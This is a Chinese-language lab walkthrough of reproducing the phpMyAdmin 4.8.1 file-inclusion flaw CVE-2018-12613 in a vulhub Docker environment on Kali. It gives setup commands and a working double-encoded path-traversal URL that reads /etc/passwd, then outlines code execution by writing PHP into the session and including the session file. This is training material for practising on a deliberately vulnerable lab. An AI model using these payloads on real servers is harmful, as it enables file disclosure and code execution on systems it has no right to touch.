phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613）（Kali）

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。

通过vulhub靶场进行复现操作

1.首先搭建靶场环境（采用Kali）

cd vulhub/phpmyadmin/CVE-2018-12613  //进入对应漏洞目录，具体参照vulhub.org

sudo docker-compose build           //编译相对应环境           

sudo docker-compose -up -d         //搭建靶场环境

搭建成功

环境启动后，访问http://your-ip:8080，即可进入phpmyadmin。配置的是“config”模式，所以无需输入密码，直接登录test账户。（确保8080端口不被占用才能正常启动靶场环境，8080端口占用原因可能是靶场环境未关闭）

lsof -i:8080   //查看8080端口状态，可反映进程的PID号

kill PID号     //解除占用

cd ..     //返回上级目录  
  
cd ~      //打开当前用户的主目录  
    
cd -      //返回进入目录  
  
cd /      //打开根目录  


重新进行靶场启动，即可正常启动

进入成功

漏洞复现

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd，可见/etc/passwd被读取，说明文件包含漏洞存在：

 利用方式也比较简单，可以执行一下SELECT '<?=phpinfo()?>';，然后查看自己的sessionid（cookie中phpMyAdmin的值），然后包含session文件即可：

总结：该漏洞操作简单，不用复杂的操作，很适合新手练练手！

最后别忘了关机靶场环境噢    sudo docker-compose down